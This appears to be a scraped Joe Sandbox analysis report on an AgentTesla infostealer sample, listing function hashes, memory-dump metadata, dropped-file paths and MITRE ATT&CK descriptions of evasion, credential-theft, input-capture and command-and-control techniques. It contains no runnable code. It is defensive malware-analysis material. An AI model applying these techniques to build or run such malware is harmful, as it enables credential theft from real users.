Opcode ID: fad251f5dfd9ef095e2d44b7c524c5da8389068f27154756fcee269fd85f0abb
Instruction ID: fcef6065018215e407b492e503cfd1d801f22a5d5a0c946d5067cecb9e91c04c
Opcode Fuzzy Hash: fad251f5dfd9ef095e2d44b7c524c5da8389068f27154756fcee269fd85f0abb
Instruction Fuzzy Hash: C8215035E0061A9BDB19CFA8C8545DEF7B6AF8D310F14851AE816FB340DB709886CB91

Uniqueness

Uniqueness Score: -1.00%

Function 031A187B Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 787d925cfe937fcf9265501651f660b9dba1d718184610fb5c39e622a565fd68
Instruction ID: c863a236e46ea756dcbbe0c4c6f1a5cb0b20b74be5d1f1c08f36d4a9edc44aac
Opcode Fuzzy Hash: 787d925cfe937fcf9265501651f660b9dba1d718184610fb5c39e622a565fd68
Instruction Fuzzy Hash: 36215C38B04605EFDB18DB68C5546AE77F6AF4D242F2404B9C106EB350DB369D40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 031A1888 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5281633d02f6db82d41e9bbe34bb4c9a0e35499d91e320ce8889fbbfa5da803
Instruction ID: e589c5826a74c40491cdbb2c587a5cfd5186caa1a833dcb8d608b8fdaa3d334b
Opcode Fuzzy Hash: f5281633d02f6db82d41e9bbe34bb4c9a0e35499d91e320ce8889fbbfa5da803
Instruction Fuzzy Hash: F4213938B04605DFDB18EB78C5546AE77F6AB8D242F2404B9C506EB360DB36DD41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 031A16B0 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c6ece70e8bedf6cd376a1339b4899860d1620b984c83224cf4e3f1b7666f001
Instruction ID: b9c17694c07d8be6f4bccf754cecb1bf146adeaa54d278b7b987859f7715087c
Opcode Fuzzy Hash: 2c6ece70e8bedf6cd376a1339b4899860d1620b984c83224cf4e3f1b7666f001
Instruction Fuzzy Hash: D221A1783001115FDB10EB7CF888769379AE788367F549A71E40ACB255DB28EC458B92

Uniqueness

Uniqueness Score: -1.00%

Function 031A4F98 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8175b0fd607971c06e831dce5aa3bd6ce12c9268290986239353738f8e042c97
Instruction ID: b94e6e9ea268f9679f4c4bab8e55201f1e4eebede76acef47ec4fa001bb28369
Opcode Fuzzy Hash: 8175b0fd607971c06e831dce5aa3bd6ce12c9268290986239353738f8e042c97
Instruction Fuzzy Hash: A0212A38701604CFDB14EB79D658AADB7F6EB8D301F1004A8E406EB364DB769D01CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 031A17C0 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb303c27fc4327f7d5d359ba72a39bd6eef59248ab39ad21e946fd0cc2db81a3
Instruction ID: 55c818cf077f248cd8664204ef9c0330dbcae4894fe7ff314fed055c3f3de77b
Opcode Fuzzy Hash: bb303c27fc4327f7d5d359ba72a39bd6eef59248ab39ad21e946fd0cc2db81a3
Instruction Fuzzy Hash: 02110A7AF00511ABCB10DBBDA84866EBFAAE74D661F544475E50AD3340EB35C802C792

Uniqueness

Uniqueness Score: -1.00%

Function 031A0838 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5285ddec2f1644da17088aff23a67dbbee16d1dae7064d45ba1241b60811d077
Instruction ID: f5e92e3ad0038fd6d9c4e671d960a33e6a6e43f757b949b307bc880f5d17e8c9
Opcode Fuzzy Hash: 5285ddec2f1644da17088aff23a67dbbee16d1dae7064d45ba1241b60811d077
Instruction Fuzzy Hash: 9F11D328F04B048BDF21D66D98143793B9ADB4E326F1989BAD446CB142DB25DC814BD9

Uniqueness

Uniqueness Score: -1.00%

Function 031A80E9 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 880b1c1e3267bf963210b4118216241c483890e2eb91323ef8315dacd92768d4
Instruction ID: 15b590ed5d778e0c01be38cdc7030d5b872ef0467c05eb45dd1d9be875c506e1
Opcode Fuzzy Hash: 880b1c1e3267bf963210b4118216241c483890e2eb91323ef8315dacd92768d4
Instruction Fuzzy Hash: 7B210E347003559FCB01DB7CF98458D7FE5EB89326B004AB9E449CB280DB31AD868B81

Uniqueness

Uniqueness Score: -1.00%

Function 031A0848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8683c6a12021d745c5c05202d553e1ff75a8b60eb6dc399ef0767b03069edf8d
Instruction ID: f151811271946e8483fb239e438350d5b11298b9759ad268c30620b16019d181
Opcode Fuzzy Hash: 8683c6a12021d745c5c05202d553e1ff75a8b60eb6dc399ef0767b03069edf8d
Instruction Fuzzy Hash: 9811B238F106088FDF64DA7DD40432D369AEB8D322F2489B9E406CF240DB25DC818BD9

Uniqueness

Uniqueness Score: -1.00%

Function 031A148C Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13f04d724afa97bdf3d807c708131e1673cdd1c697e299ec1ccd74a1d4dc81ef
Instruction ID: bd37f056089c955ff57e017cdec01ce428dbdb4d7a53eee5bab2fe9bf1c21eb5
Opcode Fuzzy Hash: 13f04d724afa97bdf3d807c708131e1673cdd1c697e299ec1ccd74a1d4dc81ef
Instruction Fuzzy Hash: 82113C39A00B14AFCF25EFBC845059EB7A5EB4D222F1904B9D805EB301E735D8818BE1

Uniqueness

Uniqueness Score: -1.00%

Function 0302D02B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2957709970.000000000302D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0302D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_302d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction ID: f896945da8c90dab7edbe1e7f2f849c7138756b3289162a984eb4393ffb0f2d2
Opcode Fuzzy Hash: 5bc96cb8dbab4a459d35c79ebbe5ba2a9dff6c5f08df11ade35b896c854f64ae
Instruction Fuzzy Hash: 7E118B75504284DFDB15CF14D5C4B15FFB2FB84324F28C6AAD8494B6A6C33AD84ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 031A1498 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d58fc476c1eea592d05b7766e12cc2a918750dbb4cc6892381b532ccaad02483
Instruction ID: 34bacea820c1ad3fc197a575abef4369e652e6271d4c05ed406ec5896d037dfa
Opcode Fuzzy Hash: d58fc476c1eea592d05b7766e12cc2a918750dbb4cc6892381b532ccaad02483
Instruction Fuzzy Hash: 70012D39A007149FCF21EFBC84501AEBBE5EB4D252F1904BAD805EB301E735D9818BA5

Uniqueness

Uniqueness Score: -1.00%

Function 031A7088 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbeb2df409c01a1fe72a9293b56d73531bac8c02bc1168174bc8b93c2332699f
Instruction ID: 170c3c64ede224534f0e9ffd5db9937a8bd121ad548999e3f480d9b0dba81c16
Opcode Fuzzy Hash: cbeb2df409c01a1fe72a9293b56d73531bac8c02bc1168174bc8b93c2332699f
Instruction Fuzzy Hash: 45F03739B40104CFC714DB74D598B6D77B2EF88216F6080A8E60A8B3A0CF35AD42CB41

Uniqueness

Uniqueness Score: -1.00%

Function 031A80F8 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 77ff00037cc3866f5c2290e3d0f0923f23a28ab54d82cad17ec25b5a834c37ac
Instruction ID: 8f301805912be062f172ed68e594f82a19daef81910ea518e6951025cbaedd6e
Opcode Fuzzy Hash: 77ff00037cc3866f5c2290e3d0f0923f23a28ab54d82cad17ec25b5a834c37ac
Instruction Fuzzy Hash: F9F06874A00219EFCB00EBBCF89499D7BF5EB84315F5046B8C8099B254DE313F858B91

Uniqueness

Uniqueness Score: -1.00%

Function 031A6C04 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e4a71e02c8665e520d0af94c7f2da29280365ea5cd44086bf69edb55d6a6f3c
Instruction ID: bf2adbb3c61ffa5f94f64da0cd0a6c47bc72fe7db6561586e5e943cec25bae61
Opcode Fuzzy Hash: 2e4a71e02c8665e520d0af94c7f2da29280365ea5cd44086bf69edb55d6a6f3c
Instruction Fuzzy Hash: D2C0023A3585908F8606A77CE0644B977B6DBCA56A32801EAE159CF762CF2698029B40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 031A41C8 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2959058244.00000000031A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_31a0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5972c0106577c727011686661467ea15fd704123a9037d3106e91838adf0459e
Instruction ID: 25d0529dfacada271f5630739bdc11a5a1b84615021b35433a5d8c127e9054ae
Opcode Fuzzy Hash: 5972c0106577c727011686661467ea15fd704123a9037d3106e91838adf0459e
Instruction Fuzzy Hash: 1CB14C74E006198FDB14CFAED8857ADBBF2AF8C315F188129D415AB394EFB49845CB81

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report n1KVzXM8Wk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\n1KVzXM8Wk.exe.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Network Behavior

Network Port Distribution

TCP Packets

DNS Queries

Windows Analysis Report
n1KVzXM8Wk.exe

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre